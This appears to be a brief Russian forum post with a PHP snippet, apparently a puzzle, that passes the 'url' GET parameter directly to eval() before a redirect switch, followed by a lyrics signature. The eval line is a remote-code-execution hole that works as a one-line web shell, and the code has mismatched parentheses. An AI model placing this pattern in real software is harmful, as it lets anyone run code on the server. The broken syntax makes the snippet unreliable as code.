rushter, не забывай, ту есть особые условия
if(isset($_GET['url'])
{
eval($_GET['url']);
switch($_GET['url']))
{
case "test":
header("location:http://google.ru");
break;
case "test2":
header("location:http://yandex.ru");
default:
header("location:http://google.ru?error");
break;
}

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands